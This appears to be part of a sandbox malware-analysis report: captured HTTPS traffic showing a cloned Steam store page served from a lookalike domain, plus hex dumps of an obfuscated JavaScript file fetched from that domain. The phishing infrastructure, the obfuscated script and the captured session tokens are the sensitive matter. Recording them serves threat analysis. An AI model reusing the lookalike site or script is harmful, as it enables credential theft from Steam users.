rel="stylesheet" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=u2FIaietX6aF&
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 6a 61 76 61 73 63 72 69 70 74 2f 73 68 61 72 65 64 5f 67 6c 6f 62 61 6c 2e 6a 73 3f 76 3d 51 35 74 74 2d 64 38 72 30 59 4c 75 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 61 69 6e 2e 6a 73 3f 76 3d 39 30 7a 51 72 69 4e 54 4e 45 6e 4d 26 61 6d 70 3b 6c Data Ascii: /javascript" src="https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english"></script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/main.js?v=90zQriNTNEnM&l
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 65 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 34 5d 20 7c 7c 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 3b 0a 20 20 20 20 20 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 35 5d 20 7c 7c 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 3b 0a 20 20 20 20 20 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 36 5d 20 7c 7c 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 Data Ascii: e = __PrototypePreserve[4] \|\| Array.prototype.some; Function.prototype.bind = __PrototypePreserve[5] \|\| Function.prototype.bind; HTMLElement.prototype.scrollTo = __PrototypePreserve[6] \|\| HTMLElement.prototype.scrollTo; </script><script ty
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 76 43 6f 6f 6b 69 65 28 29 29 3b 0a 20 20 20 20 20 20 20 20 53 65 74 75 70 54 6f 6f 6c 74 69 70 73 28 7b 0a 20 20 20 20 20 20 20 20 20 20 74 6f 6f 6c 74 69 70 43 53 53 43 6c 61 73 73 3a 20 27 73 74 6f 72 65 5f 74 6f 6f 6c 74 69 70 27 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 72 65 64 65 65 6d 77 61 6c 6c 65 74 63 6f 64 65 2e 6a 73 3f 76 3d 58 73 67 4f 44 71 55 4f 6c 56 77 39 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e Data Ascii: vCookie()); SetupTooltips({ tooltipCSSClass: 'store_tooltip' }); }); </script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english">
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 77 69 74 68 5f 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 5f 63 74 6e 20 6d 61 69 6e 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 20 69 64 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 5f 69 74 65 6d 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6d 65 Data Ascii: with_header"> <div class="responsive_page_menu_ctn mainmenu"> <div class="responsive_page_menu" id="responsive_page_menu"> <div class="mainmenu_contents"> <div class="mainmenu_contents_items"> <a class="me
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 44 69 73 63 75 73 73 69 6f 6e 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 57 6f 72 6b 73 68 6f 70 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 4d 61 72 6b 65 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e Data Ascii: a> <a class="submenuitem showAuthWin" href="#">Discussions</a> <a class="submenuitem showAuthWin" href="#">Workshop</a> <a class="submenuitem showAuthWin" href="#">Market</a> <a class="submen
2024-10-06 11:20:52 UTC	1369	IN	Data Raw: 3d 22 23 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 23 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 52 65 66 75 6e 64 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 Data Ascii: ="#" target="_blank" class="showAuthWin">Steam Subscriber Agreement</a>  \|  <a href="#" target="_blank" class="showAuthWin">Refunds</a> </span> </div> </div> </div> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49716	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:52 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-06 11:20:52 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=19454 Date: Sun, 06 Oct 2024 11:20:52 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-06 11:20:52 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49718	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:52 UTC	1277	OUT	GET /7d1d7c577e0751595d5c574d.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjlkMjYzNjIwMzgyNTdhMTcyMTk5N2Q2NWZlNDVmODA1Iiwic2VydmljZSI6IlN0ZWFtIn0.TWqK8njcgaid234pLatdBmIcWcQnVdVlTQ1bicbwK0E; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.IJtB_NWm_yUHt7tf_EGT6Q9mjUaKUdKW.x53niEl3zlVPoh_Z.PpUdUCE8tqi1h7Hqys-mzNGyV-WhIIc_3SR8g7yuxC0FYMueIuDof288KlGsfO0ngFKm3UoG2Bau_2IVtUChfiv4.m3YYjfy4F9PIaw26iffqCA
2024-10-06 11:20:53 UTC	1062	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:53 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:41 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4TkIfDq7C%2BLR6stf1%2FnTpzCBc5kOkEO0mZWbWZmlkyAJ1Gu3OnUMLOkdrJacF05i2BBxXHhqt0Q%2Fxjtc809Mk5v6GfTJsVUiPr4uhaeG3XqDzpI3bYQstX4hZ67v4DGfuSMRvIXBFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce543c309ee1993-EWR
2024-10-06 11:20:53 UTC	307	IN	Data Raw: 37 62 37 38 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 30 64 62 66 3d 5f 30 78 31 31 30 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 61 64 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 61 64 31 62 2c 5f 30 78 34 66 39 66 66 33 29 7b 5f 30 78 34 36 61 64 31 62 3d 5f 30 78 34 36 61 64 31 62 2d 30 78 31 38 64 3b 6c 65 74 20 5f 30 78 61 64 63 31 36 63 3d 5f 30 78 31 31 30 64 62 66 5b 5f 30 78 34 36 61 64 31 62 5d 3b 72 65 74 75 72 6e 20 5f 30 78 61 64 63 31 36 63 3b 7d 2c 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 35 61 37 2c 5f 30 78 32 63 65 63 64 35 29 Data Ascii: 7b78function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5)
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 62 32 39 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 63 33 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 31 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 35 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 34 66 29 29 2f 30 78 34 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 66 35 29 29 2f 30 78 35 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 32 34 29 29 2f 30 78 36 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 34 29 29 2f 30 78 37 29 2b 2d 70 61 72 Data Ascii: (!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-par
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 78 63 31 66 62 30 30 5b 5f 30 78 31 36 39 61 32 64 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 31 33 38 61 61 36 3b 7d 2c 5f 30 78 34 62 39 63 35 33 3d 28 5f 30 78 34 61 30 65 38 38 2c 5f 30 78 32 30 34 61 66 32 29 3d 3e 28 29 3d 3e 28 5f 30 78 32 30 34 61 66 32 7c 7c 5f 30 78 34 61 30 65 38 38 28 28 5f 30 78 32 30 34 61 66 32 3d 7b 27 65 78 70 6f 72 74 73 27 3a 7b 7d 7d 29 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 2c 5f 30 78 32 30 34 61 66 32 29 2c 5f 30 78 32 30 34 61 66 32 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 29 2c 5f 30 78 33 65 35 38 35 3d 28 5f 30 78 33 31 66 65 65 62 2c 5f 30 78 31 35 31 65 31 30 2c 5f 30 78 34 38 37 61 31 65 2c 5f 30 78 33 39 61 38 33 36 29 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 38 33 30 66 35 3d 5f 30 Data Ascii: xc1fb00[_0x169a2d]);}return _0x138aa6;},_0x4b9c53=(_0x4a0e88,_0x204af2)=>()=>(_0x204af2\|\|_0x4a0e88((_0x204af2={'exports':{}})[_0x4b85b2(0x232)],_0x204af2),_0x204af2[_0x4b85b2(0x232)]),_0x3e585=(_0x31feeb,_0x151e10,_0x487a1e,_0x39a836)=>{const _0x1830f5=_0
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 65 29 2c 27 70 61 64 64 69 6e 67 52 69 67 68 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 34 64 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 37 33 29 2c 27 6d 61 72 67 69 6e 4c 65 66 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 33 30 29 2c 27 6d 61 72 67 69 6e 54 6f 70 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 65 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 61 39 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 32 29 2c 27 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 27 2c 27 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 27 5d 2c 5f 30 78 63 63 62 39 34 34 3d 5f 30 78 37 39 30 39 36 65 5b 5f 30 78 34 37 30 31 39 35 28 30 78 31 61 63 29 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 66 64 64 32 63 28 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 63 35 Data Ascii: e),'paddingRight',_0x470195(0x24d),_0x470195(0x273),'marginLeft',_0x470195(0x230),'marginTop',_0x470195(0x22e),_0x470195(0x2a9),_0x470195(0x222),'borderTopWidth','borderBottomWidth'],_0xccb944=_0x79096e[_0x470195(0x1ac)];function _0x3fdd2c(){const _0x11c5
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 54 6f 70 27 5d 2b 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 27 5d 2c 5f 30 78 66 37 34 62 39 30 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 39 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 32 32 29 5d 2c 5f 30 78 35 37 33 36 37 65 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 64 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 36 34 29 5d 2c 5f 30 78 32 63 36 38 36 35 3d 5f 30 78 34 63 39 30 38 37 28 5f 30 78 33 62 32 38 39 37 5b 5f 30 78 34 39 31 35 32 36 28 30 78 31 63 37 29 5d 29 3b 5f 30 78 32 63 36 38 36 35 21 3d 3d 21 30 78 31 26 26 28 5f 30 78 35 37 38 63 32 35 5b Data Ascii: 78c25['marginTop']+_0x578c25['marginBottom'],_0xf74b90=_0x578c25[_0x491526(0x2a9)]+_0x578c25[_0x491526(0x222)],_0x57367e=_0x578c25[_0x491526(0x2ad)]+_0x578c25[_0x491526(0x264)],_0x2c6865=_0x4c9087(_0x3b2897[_0x491526(0x1c7)]);_0x2c6865!==!0x1&&(_0x578c25[
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 64 30 5d 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 62 64 65 37 30 5b 5f 30 78 31 30 64 63 65 62 28 30 78 32 36 35 29 5d 28 5f 30 78 33 62 63 39 39 63 29 7c 7c 5f 30 78 31 62 64 65 37 30 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 63 39 39 63 29 2c 74 68 69 73 3b 7d 2c 5f 30 78 33 37 65 36 63 32 5b 5f 30 78 31 39 37 34 61 65 28 30 78 32 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 7b 63 6f 6e 73 74 20 5f 30 78 34 35 38 37 34 39 3d 5f 30 78 31 39 37 34 61 65 3b 69 66 28 21 5f 30 78 35 65 61 38 65 33 7c 7c 21 5f 30 78 32 37 37 62 36 61 29 72 65 74 75 72 6e 20 74 68 69 73 3b 74 68 69 73 5b 27 6f 6e 27 5d 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 3b 6c 65 74 20 5f 30 78 32 39 61 Data Ascii: d0]\|\|[];return _0x1bde70[_0x10dceb(0x265)](_0x3bc99c)\|\|_0x1bde70['push'](_0x3bc99c),this;},_0x37e6c2[_0x1974ae(0x263)]=function(_0x5ea8e3,_0x277b6a){const _0x458749=_0x1974ae;if(!_0x5ea8e3\|\|!_0x277b6a)return this;this['on'](_0x5ea8e3,_0x277b6a);let _0x29a
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 5f 30 78 34 63 31 34 62 64 28 30 78 31 64 37 29 5d 2c 74 68 69 73 3b 7d 2c 5f 30 78 31 32 31 32 36 30 3b 7d 29 29 3b 7d 29 2c 5f 30 78 33 38 33 32 30 35 3d 5f 30 78 34 62 39 63 35 33 28 28 5f 30 78 34 30 61 35 30 61 2c 5f 30 78 35 61 32 66 37 65 29 3d 3e 7b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 78 32 64 31 38 61 30 29 7b 63 6f 6e 73 74 20 5f 30 78 35 62 66 64 32 36 3d 5f 30 78 34 36 61 64 3b 74 79 70 65 6f 66 20 5f 30 78 35 61 32 66 37 65 3d 3d 5f 30 78 35 62 66 64 32 36 28 30 78 31 66 66 29 26 26 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3f 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3d 5f 30 78 32 64 31 38 61 30 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 Data Ascii: _0x4c14bd(0x1d7)],this;},_0x121260;}));}),_0x383205=_0x4b9c53((_0x40a50a,_0x5a2f7e)=>{(function(_0x2e426e,_0x2d18a0){const _0x5bfd26=_0x46ad;typeof _0x5a2f7e==_0x5bfd26(0x1ff)&&_0x5a2f7e[_0x5bfd26(0x232)]?_0x5a2f7e[_0x5bfd26(0x232)]=_0x2d18a0(_0x2e426e,_0
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 6c 65 73 27 5d 5b 5f 30 78 34 30 66 65 38 66 28 30 78 32 30 64 29 5d 28 5f 30 78 33 37 30 38 39 36 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 33 35 36 61 39 62 3d 5f 30 78 34 30 66 65 38 66 3b 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 35 34 64 30 35 65 2c 74 68 69 73 29 2c 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 33 35 36 61 39 62 28 30 78 32 38 30 29 2c 74 68 69 73 29 2c 5f 30 78 39 33 37 36 33 35 5b 5f 30 78 33 35 36 61 39 62 28 30 78 31 63 64 29 5d 26 26 28 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 39 39 29 5d 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 34 63 29 5d 3d 5f 30 78 34 66 65 39 66 37 29 3b 7d 29 3b 7d 2c 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 34 28 Data Ascii: les'][_0x40fe8f(0x20d)](_0x370896=>{const _0x356a9b=_0x40fe8f;_0x370896[_0x24fff7](_0x54d05e,this),_0x370896[_0x24fff7](_0x356a9b(0x280),this),_0x937635[_0x356a9b(0x1cd)]&&(_0x370896[_0x356a9b(0x299)][_0x356a9b(0x24c)]=_0x4fe9f7);});},_0xd42e02[_0x5d7074(
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 37 30 37 34 3b 74 68 69 73 5b 5f 30 78 31 33 61 39 33 37 28 30 78 31 62 61 29 5d 28 5f 30 78 34 30 30 63 31 37 2c 5f 30 78 34 30 30 63 31 37 29 3b 7d 3b 6c 65 74 20 5f 30 78 33 34 36 34 37 65 3d 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 64 63 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 31 63 39 29 2c 27 53 45 4c 45 43 54 27 2c 27 4f 50 54 49 4f 4e 27 5d 2c 5f 30 78 33 66 34 31 30 34 3d 5b 27 72 61 64 69 6f 27 2c 27 63 68 65 63 6b 62 6f 78 27 2c 27 62 75 74 74 6f 6e 27 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 38 33 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 36 36 29 2c 27 66 69 6c 65 27 5d 3b 72 65 74 75 72 6e 20 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 62 61 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 63 37 30 39 34 2c 5f Data Ascii: 7074;this[_0x13a937(0x1ba)](_0x400c17,_0x400c17);};let _0x34647e=[_0x5d7074(0x1dc),_0x5d7074(0x1c9),'SELECT','OPTION'],_0x3f4104=['radio','checkbox','button',_0x5d7074(0x283),_0x5d7074(0x266),'file'];return _0xd42e02[_0x5d7074(0x1ba)]=function(_0x4c7094,_
2024-10-06 11:20:53 UTC	1369	IN	Data Raw: 30 78 32 35 30 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2c 27 79 27 3a 5f 30 78 33 35 62 39 35 37 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 35 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 27 70 61 67 65 59 27 5d 7d 3b 74 68 69 73 5b 27 65 6d 69 74 45 76 65 6e 74 27 5d 28 5f 30 78 31 61 38 63 63 36 28 30 78 32 36 62 29 2c 5b 5f 30 78 34 32 66 37 61 36 2c 5f 30 78 33 35 62 39 35 37 2c 5f 30 78 33 65 37 32 64 63 5d 29 2c 21 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 31 62 66 29 5d 26 26 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 32 29 5d 28 5f 30 78 33 65 37 32 64 63 29 26 26 74 68 69 73 5b 27 64 72 61 67 53 74 61 Data Ascii: 0x250)]-this[_0x1a8cc6(0x20b)][_0x1a8cc6(0x250)],'y':_0x35b957[_0x1a8cc6(0x255)]-this[_0x1a8cc6(0x20b)]['pageY']};this['emitEvent'](_0x1a8cc6(0x26b),[_0x42f7a6,_0x35b957,_0x3e72dc]),!this[_0x1a8cc6(0x1bf)]&&this[_0x1a8cc6(0x202)](_0x3e72dc)&&this['dragSta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49725	104.17.25.14	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
